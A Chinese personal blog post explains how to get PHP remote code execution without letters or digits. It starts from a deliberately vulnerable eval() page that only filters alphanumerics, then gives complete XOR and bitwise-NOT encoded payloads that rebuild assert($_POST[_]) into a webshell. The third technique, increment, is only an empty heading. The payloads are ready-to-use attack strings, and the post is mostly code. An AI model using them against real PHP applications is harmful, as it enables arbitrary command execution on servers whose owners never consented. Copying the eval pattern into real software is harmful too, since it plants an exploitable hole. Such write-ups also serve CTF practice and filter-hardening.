梦の博客 欢迎来到我的破站
歌曲封面 未知作品

网站已运行 362 天 14 小时 12 分

Powered by Typecho & Sunny

2 online · 50 ms

Title

无数字字母rce

云梦

·

Article
⚠️ 本文最后更新于2023年06月20日,已经过了311天没有更新,若内容或图片失效,请留言反馈

无数字字母rce,这是一个老生常谈的问题了,就是不利用数字和字母构造出webshell,从而能够执行我们的命令,之前一直没有系统总结过,今天来好好总结总结,这里主要是总结异或和取反两种方法,这两种方法是目前来看最实用的两种方法

核心代码

♾️ abap 代码:
<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9]+/",$code)){
    die("hacker!");
}
@eval($code);
?>

{tabs}
{tabs-pane label=" 异或 ^ "}
这里的异或,指的是php按位异或,在php中,两个字符进行异或操作后,得到的依然是一个字符,所以说当我们想得到a-z中某个字母时,就可以找到两个非字母数字的字符,只要他们俩的异或结果是这个字母即可。而在php中,两个字符进行异或时,会先将字符串转换成ascii码值,再将这个值转换成二进制,然后一位一位的进行按位异或,异或的规则是:1^1=0,1^0=1,0^1=1,0^0=0,简单的来说就是 相同为零,不同为一 ,ascii码表参考如下:
lj3ycvin.png
然后我们就可以按照这个方法进行拼接了,我们的目标字符串是assert($_POST[_]),其实很简单,我们需要拼接的字母只有十个而已,拼接结果如下,因为很多都是不可见的字符,所以说我就先url编码了一下(url编码就是它的16进制编码前面加个%哈):

♾️ abap 代码:
a:'%40'^'%21' ; s:'%7B'^'%08' ; s:'%7B'^'%08' ; e:'%7B'^'%1E' ; r:'%7E'^'%0C' ; t:'%7C'^'%08'
P:'%0D'^'%5D' ; O:'%0F'^'%40' ; S:'%0E'^'%5D' ; T:'%0B'^'%5F'
拼接起来:
$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');  // $_=assert
$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F');  // $__=_POST
$___=$$__; //$___=$_POST
$_($___[_]);//assert($_POST[_]);
放到一排就是:
$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F');$___=$$__;$_($___[_]);

a:'%40'^'%21' 表示对字符串 "%40" 和 "%21" 进行异或运算。%40 对应字符 "@",其ASCII码为64,二进制表示为 01000000。%21 对应字符 "!",其ASCII码为33,二进制表示为 00100001。对应位进行异或运算,结果为 01100001,即字符 "a" 的ASCII码。
{/tabs-pane}
{tabs-pane label="取反 ~"}
取反的好处就是,它每一个字符取反之后都会变成另一个字符,不像异或需要两个字符才能构造出一个字符。
先,我们想要构造的依然是assert($_POST[_])这条语句,和上面一样,我们先用php的取反符号~将字符串assert和_POST取反,这里需要注意的是,由于它取反之后会有大量不可显字符,所以我们同样需要将其url编码,然后当我们要用的时候,再利用取反符号把它们取回来即可。
访问网站: https://c.runoob.com/compile/1/
lj3zmlf9.png
代码:

♾️ abap 代码:
<?php
$a=urlencode(~("assert"));
$b=urlencode(~("_POST"));
echo $a;
echo "\n";
echo $b;
?>

结果:

♾️ abap 代码:
%9E%8C%8C%9A%8D%8B
%A0%AF%B0%AC%AB

可以看到,assert的取反结果是%9E%8C%8C%9A%8D%8B,_POST的取反结果是%A0%AF%B0%AC%AB,那我们就开始构造:

♾️ abap 代码:
$_=~(%9E%8C%8C%9A%8D%8B);    //这里利用取反符号把它取回来,$_=assert
$__=~(%A0%AF%B0%AC%AB);      //$__=_POST
$___=$$__;                   //$___=$_POST
$_($___[_]);                 //assert($_POST[_]);
放到一排就是:
$_=~(%9E%8C%8C%9A%8D%8B);$__=~(%A0%AF%B0%AC%AB);$___=$$__;$_($___[_]);

{/tabs-pane}
{tabs-pane label="自增 ++"}
自增 ++
{/tabs-pane}
{/tabs}

现在已有 0 条评论,0 人点赞
Comment
发表
搜 索 消 息 足 迹
你还不曾留言过..
你还不曾留下足迹..
博主